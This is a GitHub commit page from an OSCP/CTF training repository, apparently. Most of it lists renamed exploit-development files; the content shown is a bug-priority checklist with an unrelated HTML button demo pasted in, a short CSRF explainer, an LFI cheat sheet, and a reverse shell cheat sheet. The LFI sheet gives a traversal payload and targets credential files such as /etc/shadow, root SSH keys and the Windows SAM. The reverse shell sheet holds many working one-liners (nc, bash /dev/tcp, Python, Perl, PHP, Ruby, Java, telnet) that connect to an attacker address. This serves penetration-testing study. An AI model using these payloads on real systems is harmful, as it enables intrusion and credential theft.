CTF Resources and Scripts for OSCP

Tikam02 · Sep 2, 2019 · a390a08 · a390a08
1 parent 0daeca1
commit a390a08
Show file tree

Hide file tree

Showing 94 changed files with 948 additions and 0 deletions.
diff --git a/exd/basic_shellcode/exitcall.asm → exploit_dev/basic_shellcode/exitcall.asm b/exd/basic_shellcode/exitcall.asm → exploit_dev/basic_shellcode/exitcall.asm
diff --git a/exd/basic_shellcode/exitcall.o → exploit_dev/basic_shellcode/exitcall.o b/exd/basic_shellcode/exitcall.o → exploit_dev/basic_shellcode/exitcall.o
diff --git a/exd/basic_shellcode/list → exploit_dev/basic_shellcode/list b/exd/basic_shellcode/list → exploit_dev/basic_shellcode/list
diff --git a/exd/basic_shellcode/list.c → exploit_dev/basic_shellcode/list.c b/exd/basic_shellcode/list.c → exploit_dev/basic_shellcode/list.c
diff --git a/exd/basic_shellcode/shell_code_theory.txt → ...dev/basic_shellcode/shell_code_theory.txt b/exd/basic_shellcode/shell_code_theory.txt → ...dev/basic_shellcode/shell_code_theory.txt
diff --git a/exd/basic_shellcode/shellcode_basics.md → ...t_dev/basic_shellcode/shellcode_basics.md b/exd/basic_shellcode/shellcode_basics.md → ...t_dev/basic_shellcode/shellcode_basics.md
diff --git a/exd/basic_shellcode/testshellcode → exploit_dev/basic_shellcode/testshellcode b/exd/basic_shellcode/testshellcode → exploit_dev/basic_shellcode/testshellcode
diff --git a/exd/basic_shellcode/testshellcode.asm → ...oit_dev/basic_shellcode/testshellcode.asm b/exd/basic_shellcode/testshellcode.asm → ...oit_dev/basic_shellcode/testshellcode.asm
diff --git a/exd/basic_shellcode/testshellcode.c → exploit_dev/basic_shellcode/testshellcode.c b/exd/basic_shellcode/testshellcode.c → exploit_dev/basic_shellcode/testshellcode.c
diff --git a/exd/docs/Buffer_Overflow.pdf → exploit_dev/docs/Buffer_Overflow.pdf b/exd/docs/Buffer_Overflow.pdf → exploit_dev/docs/Buffer_Overflow.pdf
diff --git a/exd/docs/GDB Cheat Sheet.pdf → exploit_dev/docs/GDB Cheat Sheet.pdf b/exd/docs/GDB Cheat Sheet.pdf → exploit_dev/docs/GDB Cheat Sheet.pdf
diff --git a/exd/docs/Hoglund-Buffer-Overflow.ppt → exploit_dev/docs/Hoglund-Buffer-Overflow.ppt b/exd/docs/Hoglund-Buffer-Overflow.ppt → exploit_dev/docs/Hoglund-Buffer-Overflow.ppt
diff --git a/...ocs/bernardini-offtech-building-stack.pdf → ...ocs/bernardini-offtech-building-stack.pdf b/...ocs/bernardini-offtech-building-stack.pdf → ...ocs/bernardini-offtech-building-stack.pdf
diff --git a/exd/docs/netcat_cheat_sheet_v1.pdf → exploit_dev/docs/netcat_cheat_sheet_v1.pdf b/exd/docs/netcat_cheat_sheet_v1.pdf → exploit_dev/docs/netcat_cheat_sheet_v1.pdf
diff --git a/exd/docs/pentest-exploit-dev-cheatsheet.jpg → ...v/docs/pentest-exploit-dev-cheatsheet.jpg b/exd/docs/pentest-exploit-dev-cheatsheet.jpg → ...v/docs/pentest-exploit-dev-cheatsheet.jpg
diff --git a/exd/experiments/attacks/formatstring → exploit_dev/experiments/attacks/formatstring b/exd/experiments/attacks/formatstring → exploit_dev/experiments/attacks/formatstring
diff --git a/exd/experiments/attacks/formatstring.c → ...it_dev/experiments/attacks/formatstring.c b/exd/experiments/attacks/formatstring.c → ...it_dev/experiments/attacks/formatstring.c
diff --git a/exd/experiments/attacks/heapbufferoverflow → ...ev/experiments/attacks/heapbufferoverflow b/exd/experiments/attacks/heapbufferoverflow → ...ev/experiments/attacks/heapbufferoverflow
diff --git a/exd/experiments/attacks/heapbufferoverflow.c → .../experiments/attacks/heapbufferoverflow.c b/exd/experiments/attacks/heapbufferoverflow.c → .../experiments/attacks/heapbufferoverflow.c
diff --git a/...experiments/attacks/stackbufferoverflow.c → ...experiments/attacks/stackbufferoverflow.c b/...experiments/attacks/stackbufferoverflow.c → ...experiments/attacks/stackbufferoverflow.c
diff --git a/exd/experiments/exp1/hello.c → exploit_dev/experiments/exp1/hello.c b/exd/experiments/exp1/hello.c → exploit_dev/experiments/exp1/hello.c
diff --git a/exd/experiments/exp1/hello.s → exploit_dev/experiments/exp1/hello.s b/exd/experiments/exp1/hello.s → exploit_dev/experiments/exp1/hello.s
diff --git a/exd/experiments/exp1/readme.md → exploit_dev/experiments/exp1/readme.md b/exd/experiments/exp1/readme.md → exploit_dev/experiments/exp1/readme.md
diff --git a/exd/experiments/exp1/shellforge2.py → exploit_dev/experiments/exp1/shellforge2.py b/exd/experiments/exp1/shellforge2.py → exploit_dev/experiments/exp1/shellforge2.py
diff --git a/exd/experiments/exp1/testshell → exploit_dev/experiments/exp1/testshell b/exd/experiments/exp1/testshell → exploit_dev/experiments/exp1/testshell
diff --git a/exd/experiments/exp1/testshell.c → exploit_dev/experiments/exp1/testshell.c b/exd/experiments/exp1/testshell.c → exploit_dev/experiments/exp1/testshell.c
diff --git a/exd/readme.md → exploit_dev/readme.md b/exd/readme.md → exploit_dev/readme.md
diff --git a/...Working Files/Chapter 1/No Work Files.rtf → ...Working Files/Chapter 1/No Work Files.rtf b/...Working Files/Chapter 1/No Work Files.rtf → ...Working Files/Chapter 1/No Work Files.rtf
diff --git a/...orking Files/Chapter 10/No Work Files.rtf → ...orking Files/Chapter 10/No Work Files.rtf b/...orking Files/Chapter 10/No Work Files.rtf → ...orking Files/Chapter 10/No Work Files.rtf
diff --git a/...orking Files/Chapter 11/No Work Files.rtf → ...orking Files/Chapter 11/No Work Files.rtf b/...orking Files/Chapter 11/No Work Files.rtf → ...orking Files/Chapter 11/No Work Files.rtf
diff --git a/...orking Files/Chapter 12/No Work Files.rtf → ...orking Files/Chapter 12/No Work Files.rtf b/...orking Files/Chapter 12/No Work Files.rtf → ...orking Files/Chapter 12/No Work Files.rtf
diff --git a/...orking Files/Chapter 2/BufferOverflow.exe → ...orking Files/Chapter 2/BufferOverflow.exe b/...orking Files/Chapter 2/BufferOverflow.exe → ...orking Files/Chapter 2/BufferOverflow.exe
diff --git a/...opment - Working Files/Chapter 2/check.sh → ...opment - Working Files/Chapter 2/check.sh b/...opment - Working Files/Chapter 2/check.sh → ...opment - Working Files/Chapter 2/check.sh
diff --git a/...Working Files/Chapter 2/format-string.zip → ...Working Files/Chapter 2/format-string.zip b/...Working Files/Chapter 2/format-string.zip → ...Working Files/Chapter 2/format-string.zip
diff --git a/... - Working Files/Chapter 2/formatstring.c → ... - Working Files/Chapter 2/formatstring.c b/... - Working Files/Chapter 2/formatstring.c → ... - Working Files/Chapter 2/formatstring.c
diff --git a/...lopment - Working Files/Chapter 2/fuzz.pl → ...lopment - Working Files/Chapter 2/fuzz.pl b/...lopment - Working Files/Chapter 2/fuzz.pl → ...lopment - Working Files/Chapter 2/fuzz.pl
diff --git a/...lopment - Working Files/Chapter 2/fuzz.py → ...lopment - Working Files/Chapter 2/fuzz.py b/...lopment - Working Files/Chapter 2/fuzz.py → ...lopment - Working Files/Chapter 2/fuzz.py
diff --git a/...orking Files/Chapter 2/heap-overflows.zip → ...orking Files/Chapter 2/heap-overflows.zip b/...orking Files/Chapter 2/heap-overflows.zip → ...orking Files/Chapter 2/heap-overflows.zip
diff --git a/...king Files/Chapter 2/heapbufferoverflow.c → ...king Files/Chapter 2/heapbufferoverflow.c b/...king Files/Chapter 2/heapbufferoverflow.c → ...king Files/Chapter 2/heapbufferoverflow.c
diff --git a/...iles/Chapter 2/stack-buffer-overflows.zip → ...iles/Chapter 2/stack-buffer-overflows.zip b/...iles/Chapter 2/stack-buffer-overflows.zip → ...iles/Chapter 2/stack-buffer-overflows.zip
diff --git a/...ing Files/Chapter 2/stackbufferoverflow.c → ...ing Files/Chapter 2/stackbufferoverflow.c b/...ing Files/Chapter 2/stackbufferoverflow.c → ...ing Files/Chapter 2/stackbufferoverflow.c
diff --git a/...ment - Working Files/Chapter 3/mac-heap.c → ...ment - Working Files/Chapter 3/mac-heap.c b/...ment - Working Files/Chapter 3/mac-heap.c → ...ment - Working Files/Chapter 3/mac-heap.c
diff --git a/...ent - Working Files/Chapter 3/mac-stack.c → ...ent - Working Files/Chapter 3/mac-stack.c b/...ent - Working Files/Chapter 3/mac-stack.c → ...ent - Working Files/Chapter 3/mac-stack.c
diff --git a/...ing Files/Chapter 4/linux-heap-not-vuln.c → ...ing Files/Chapter 4/linux-heap-not-vuln.c b/...ing Files/Chapter 4/linux-heap-not-vuln.c → ...ing Files/Chapter 4/linux-heap-not-vuln.c
diff --git a/...nt - Working Files/Chapter 4/linux-heap.c → ...nt - Working Files/Chapter 4/linux-heap.c b/...nt - Working Files/Chapter 4/linux-heap.c → ...nt - Working Files/Chapter 4/linux-heap.c
diff --git a/...orking Files/Chapter 4/linux-stack-fptr.c → ...orking Files/Chapter 4/linux-stack-fptr.c b/...orking Files/Chapter 4/linux-stack-fptr.c → ...orking Files/Chapter 4/linux-stack-fptr.c
diff --git a/...t - Working Files/Chapter 4/linux-stack.c → ...t - Working Files/Chapter 4/linux-stack.c b/...t - Working Files/Chapter 4/linux-stack.c → ...t - Working Files/Chapter 4/linux-stack.c
diff --git a/...ment - Working Files/Chapter 4/simple.asm → ...ment - Working Files/Chapter 4/simple.asm b/...ment - Working Files/Chapter 4/simple.asm → ...ment - Working Files/Chapter 4/simple.asm
diff --git a/...nt - Working Files/Chapter 4/simple32.asm → ...nt - Working Files/Chapter 4/simple32.asm b/...nt - Working Files/Chapter 4/simple32.asm → ...nt - Working Files/Chapter 4/simple32.asm
diff --git a/...Working Files/Chapter 5/No Work Files.rtf → ...Working Files/Chapter 5/No Work Files.rtf b/...Working Files/Chapter 5/No Work Files.rtf → ...Working Files/Chapter 5/No Work Files.rtf
diff --git a/...Working Files/Chapter 6/No Work Files.rtf → ...Working Files/Chapter 6/No Work Files.rtf b/...Working Files/Chapter 6/No Work Files.rtf → ...Working Files/Chapter 6/No Work Files.rtf
diff --git a/...t - Working Files/Chapter 7/vulnserver.rb → ...t - Working Files/Chapter 7/vulnserver.rb b/...t - Working Files/Chapter 7/vulnserver.rb → ...t - Working Files/Chapter 7/vulnserver.rb
diff --git a/...t - Working Files/Chapter 8/shellcode.zip → ...t - Working Files/Chapter 8/shellcode.zip b/...t - Working Files/Chapter 8/shellcode.zip → ...t - Working Files/Chapter 8/shellcode.zip
diff --git a/...elopment - Working Files/Chapter 9/enc.sh → ...elopment - Working Files/Chapter 9/enc.sh b/...elopment - Working Files/Chapter 9/enc.sh → ...elopment - Working Files/Chapter 9/enc.sh
diff --git a/...velopment - Working Files/Chapter 9/sc.sh → ...velopment - Working Files/Chapter 9/sc.sh b/...velopment - Working Files/Chapter 9/sc.sh → ...velopment - Working Files/Chapter 9/sc.sh
diff --git a/... Working Files/Working Files - README.txt → ... Working Files/Working Files - README.txt b/... Working Files/Working Files - README.txt → ... Working Files/Working Files - README.txt
diff --git a/exd/reverse_engineering/fuzz.pl → exploit_dev/reverse_engineering/fuzz.pl b/exd/reverse_engineering/fuzz.pl → exploit_dev/reverse_engineering/fuzz.pl
diff --git a/exd/shellcode_generator/poly_bin.py → exploit_dev/shellcode_generator/poly_bin.py b/exd/shellcode_generator/poly_bin.py → exploit_dev/shellcode_generator/poly_bin.py
diff --git a/exd/shellcode_generator/readme.md → exploit_dev/shellcode_generator/readme.md b/exd/shellcode_generator/readme.md → exploit_dev/shellcode_generator/readme.md
diff --git a/exd/shellcodes/a.out → exploit_dev/shellcodes/a.out b/exd/shellcodes/a.out → exploit_dev/shellcodes/a.out
diff --git a/exd/shellcodes/bin_sh.txt → exploit_dev/shellcodes/bin_sh.txt b/exd/shellcodes/bin_sh.txt → exploit_dev/shellcodes/bin_sh.txt
diff --git a/exd/shellcodes/bin_sh_1.c → exploit_dev/shellcodes/bin_sh_1.c b/exd/shellcodes/bin_sh_1.c → exploit_dev/shellcodes/bin_sh_1.c
diff --git a/exd/shellcodes/bin_sh_2 → exploit_dev/shellcodes/bin_sh_2 b/exd/shellcodes/bin_sh_2 → exploit_dev/shellcodes/bin_sh_2
diff --git a/exd/shellcodes/bin_sh_2.c → exploit_dev/shellcodes/bin_sh_2.c b/exd/shellcodes/bin_sh_2.c → exploit_dev/shellcodes/bin_sh_2.c
diff --git a/exd/shellcodes/bin_sh_3 → exploit_dev/shellcodes/bin_sh_3 b/exd/shellcodes/bin_sh_3 → exploit_dev/shellcodes/bin_sh_3
diff --git a/exd/shellcodes/bin_sh_3.c → exploit_dev/shellcodes/bin_sh_3.c b/exd/shellcodes/bin_sh_3.c → exploit_dev/shellcodes/bin_sh_3.c
diff --git a/exd/shellcodes/bin_sh_4 → exploit_dev/shellcodes/bin_sh_4 b/exd/shellcodes/bin_sh_4 → exploit_dev/shellcodes/bin_sh_4
diff --git a/exd/shellcodes/egghunter/bytes_18.c → exploit_dev/shellcodes/egghunter/bytes_18.c b/exd/shellcodes/egghunter/bytes_18.c → exploit_dev/shellcodes/egghunter/bytes_18.c
diff --git a/exd/shellcodes/egghunter/bytes_24.asm → ...oit_dev/shellcodes/egghunter/bytes_24.asm b/exd/shellcodes/egghunter/bytes_24.asm → ...oit_dev/shellcodes/egghunter/bytes_24.asm
diff --git a/exd/shellcodes/egghunter/bytes_34.nasm → ...it_dev/shellcodes/egghunter/bytes_34.nasm b/exd/shellcodes/egghunter/bytes_34.nasm → ...it_dev/shellcodes/egghunter/bytes_34.nasm
diff --git a/exd/shellcodes/egghunter/bytes_38.c → exploit_dev/shellcodes/egghunter/bytes_38.c b/exd/shellcodes/egghunter/bytes_38.c → exploit_dev/shellcodes/egghunter/bytes_38.c
diff --git a/exd/shellcodes/exe.c → exploit_dev/shellcodes/exe.c b/exd/shellcodes/exe.c → exploit_dev/shellcodes/exe.c
diff --git a/exd/shellcodes/execve_bin_sh/bin_sh0.c → ...it_dev/shellcodes/execve_bin_sh/bin_sh0.c b/exd/shellcodes/execve_bin_sh/bin_sh0.c → ...it_dev/shellcodes/execve_bin_sh/bin_sh0.c
diff --git a/exd/shellcodes/execve_bin_sh/bin_sh_1.c → ...t_dev/shellcodes/execve_bin_sh/bin_sh_1.c b/exd/shellcodes/execve_bin_sh/bin_sh_1.c → ...t_dev/shellcodes/execve_bin_sh/bin_sh_1.c
diff --git a/exd/shellcodes/execve_bin_sh/bin_sh_2.c → ...t_dev/shellcodes/execve_bin_sh/bin_sh_2.c b/exd/shellcodes/execve_bin_sh/bin_sh_2.c → ...t_dev/shellcodes/execve_bin_sh/bin_sh_2.c
diff --git a/exd/shellcodes/execve_bin_sh/bin_sh_3.c → ...t_dev/shellcodes/execve_bin_sh/bin_sh_3.c b/exd/shellcodes/execve_bin_sh/bin_sh_3.c → ...t_dev/shellcodes/execve_bin_sh/bin_sh_3.c
diff --git a/exd/shellcodes/execve_bin_sh/exe.c → exploit_dev/shellcodes/execve_bin_sh/exe.c b/exd/shellcodes/execve_bin_sh/exe.c → exploit_dev/shellcodes/execve_bin_sh/exe.c
diff --git a/exd/shellcodes/execve_bin_sh/execve_1.c → ...t_dev/shellcodes/execve_bin_sh/execve_1.c b/exd/shellcodes/execve_bin_sh/execve_1.c → ...t_dev/shellcodes/execve_bin_sh/execve_1.c
diff --git a/exd/shellcodes/execve_bin_sh/execve_2.c → ...t_dev/shellcodes/execve_bin_sh/execve_2.c b/exd/shellcodes/execve_bin_sh/execve_2.c → ...t_dev/shellcodes/execve_bin_sh/execve_2.c
diff --git a/...ellcodes/execve_bin_sh/execve_bin_sh3.asm → ...ellcodes/execve_bin_sh/execve_bin_sh3.asm b/...ellcodes/execve_bin_sh/execve_bin_sh3.asm → ...ellcodes/execve_bin_sh/execve_bin_sh3.asm
diff --git a/...shellcodes/execve_bin_sh/execve_bin_sh4.c → ...shellcodes/execve_bin_sh/execve_bin_sh4.c b/...shellcodes/execve_bin_sh/execve_bin_sh4.c → ...shellcodes/execve_bin_sh/execve_bin_sh4.c
diff --git a/...ellcodes/execve_bin_sh/execve_bin_sh5.txt → ...ellcodes/execve_bin_sh/execve_bin_sh5.txt b/...ellcodes/execve_bin_sh/execve_bin_sh5.txt → ...ellcodes/execve_bin_sh/execve_bin_sh5.txt
diff --git a/...shellcodes/execve_bin_sh/execve_bin_sh6.c → ...shellcodes/execve_bin_sh/execve_bin_sh6.c b/...shellcodes/execve_bin_sh/execve_bin_sh6.c → ...shellcodes/execve_bin_sh/execve_bin_sh6.c
diff --git a/img/gt.jpg b/img/gt.jpg
diff --git a/img/sd1.png b/img/sd1.png
diff --git a/img/sd2.png b/img/sd2.png
diff --git a/img/sd3.png b/img/sd3.png
diff --git a/resources/bug_checks.md b/resources/bug_checks.md
@@ -0,0 +1,63 @@
+* [X] [P1] 	Server Security Misconfiguration	Using Default Credentials	
+
+:ballot_box_with_check: P1	Server-Side Injection	File Inclusion	Local
+
+:ballot_box_with_check: P1	Server-Side Injection	 Remote Code Execution (RCE)	
+
+:ballot_box_with_check: P1	Server-Side Injection	 SQL Injection	
+
+:ballot_box_with_check: P1	Server-Side Injection   	XML External Entity Injection (XXE)	
+
+:ballot_box_with_check: P1	Broken Authentication and Session Management	Authentication Bypass	
+
+:ballot_box_with_check: P1	Sensitive Data Exposure	Critically Sensitive Data	Password Disclosure
+
+:ballot_box_with_check: P1	Sensitive Data Exposure	Critically Sensitive Data	Private API Keys
+
+:ballot_box_with_check: P1	Insecure OS/Firmware	Command Injection	
+
+:ballot_box_with_check: P1	Insecure OS/Firmware	Hardcoded Password	Privileged User
+
+:ballot_box_with_check: P1	Broken Cryptography	Cryptographic Flaw	Incorrect Usage
+
+:ballot_box_with_check: P1	Automotive Security Misconfiguration	Infotainment	PII Leakage
+
+:ballot_box_with_check: P1	Automotive Security Misconfiguration	RF Hub	Key Fob Cloning
+
+
+<!DOCTYPE html>
+<html>
+<head>
+<style>
+.button {
+  background-color: #4CAF50; /* Green */
+  border: none;
+  color: white;
+  padding: 15px 32px;
+  text-align: center;
+  text-decoration: none;
+  display: inline-block;
+  font-size: 16px;
+  margin: 4px 2px;
+  cursor: pointer;
+}
+
+.button2 {background-color: #008CBA;} /* Blue */
+.button3 {background-color: #f44336;} /* Red */ 
+.button4 {background-color: #e7e7e7; color: black;} /* Gray */ 
+.button5 {background-color: #555555;} /* Black */
+</style>
+</head>
+<body>
+
+<h2>Button Colors</h2>
+<p>Change the background color of a button with the background-color property:</p>
+
+<button class="button">Green</button><br>
+<button class="button button2">Blue</button>
+<button class="button button3">Red</button>
+<button class="button button4">Gray</button>
+<button class="button button5">Black</button>
+
+</body>
+</html>
diff --git a/resources/csrf.md b/resources/csrf.md
@@ -0,0 +1,7 @@
+### CSRF
+*****
+
+CSRF (Cross site request forgery) is the vulnerability that tricks the user to submit the malicious request if there is no implementation of the Anti-CSRF tokens in the forms or site. When implemented your website https://vulnerables.com will include a random generated number or token to every page which is impossible to guess by the attacker so https://vulnerables.com will include it when they serve it to you. It differs each time they serve any page to anybody so attacker won’t be able to generate a valid request because of the wrong token.
+
+### What is CSRF attack?
+CSRF is an attack that tricks the victim to send a malicious request this request can change the victim information like Email, Username, Passwords and etc…
diff --git a/resources/lfi.md b/resources/lfi.md
@@ -0,0 +1,48 @@
+# LFI Cheat Sheet
+
+[LINK](https://xapax.gitbooks.io/security/content/local_file_inclusion.html)
+### Useful LFI files
+../../../../../etc/passwd%00
+
+### Linux:
+/etc/passwd
+/etc/shadow
+/etc/issue
+/etc/group
+/etc/hostname
+/etc/ssh/ssh_config
+/etc/ssh/sshd_config
+/root/.ssh/id_rsa
+/root/.ssh/authorized_keys
+/home/user/.ssh/authorized_keys
+/home/user/.ssh/id_rsa
+
+### Apache:
+#### Configuration Files:
+/etc/apache2/apache2.conf
+/usr/local/etc/apache2/httpd.conf
+/etc/httpd/conf/httpd.conf
+
+### Log Files:
+### Red Hat/CentOS/Fedora Linux-   /var/log/httpd/access_log
+### Debian/Ubuntu-   /var/log/apache2/access.log
+### FreeBSD-   /var/log/httpd-access.log
+
+### Generic:
+/var/log/apache/access.log
+/var/log/apache/error.log
+/var/log/apache2/access.log
+/var/log/apache/error.log
+
+### MySql:
+/var/lib/mysql/mysql/user.frm
+/var/lib/mysql/mysql/user.MYD
+/var/lib/mysql/mysql/user.MYI
+
+### Windows:
+/boot.ini
+/autoexec.bat
+/windows/system32/drivers/etc/hosts
+/windows/repair/SAM
+/windows/panther/unattended.xml
+/windows/panther/unattend/unattended.xml
diff --git a/resources/resources/Bugcrowd-Vulnerability-Rating-Taxonomy-1.7.pdf b/resources/resources/Bugcrowd-Vulnerability-Rating-Taxonomy-1.7.pdf
diff --git a/resources/resources/web-hacking-101.pdf b/resources/resources/web-hacking-101.pdf
diff --git a/resources/rvshell.md b/resources/rvshell.md
@@ -0,0 +1,54 @@
+# Reverse Shell Cheat Sheet
+***********
+### Netcat:
+nc 192.168.1.10 443 -e /bin/bash
+
+/bin/sh | nc 192.168.1.10 443
+
+rm -f /tmp/p; mknod /tmp/p p && nc 192.168.1.10 443 0/tmp/p
+
+rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f
+
+### Bash:
+bash -i >& /dev/tcp/192.168.1.10/443 0>&1
+
+/bin/bash -i > /dev/tcp/192.168.1.10/443 0<&1 2>&1
+
+0<&196;exec 196<>/dev/tcp/192.168.1.10/443; sh <&196 >&196 2>&196
+
+exec 5<>/dev/tcp/192.168.1.10/443
+cat <&5 | while read line; do $line 2>&5 >&5; done
+
+exec 5<>/dev/tcp/192.168.1.10/443
+cat <&5 | while read line 0<&5; do $line 2>&5 >&5; done
+
+### Python:
+python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.10”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
+
+### Perl:
+*nix:
+perl -e ‘use Socket;$i=”192.168.1.10″;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
+
+### Windows:
+perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”192.168.1.10-IP:443″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
+
+perl -e ‘use Socket;$i=”192.168.1.10″;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
+
+### PHP:
+php -r ‘$sock=fsockopen(“192.168.1.10”,443);exec(“/bin/sh -i <&3 >&3 2>&3”);’
+
+### Ruby:
+ruby -rsocket -e’f=TCPSocket.open(“192.168.1.10”,443).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
+
+### Windows
+ruby -rsocket -e ‘c=TCPSocket.new(“attackerip”,”4444″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
+
+### Java:
+r = Runtime.getRuntime()
+p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.1.10/443;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
+p.waitFor()
+
+### Telnet:
+rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.10 443 0/tmp/p
+
+telnet 192.168.1.10 443 | /bin/bash | telnet 192.168.1.10 443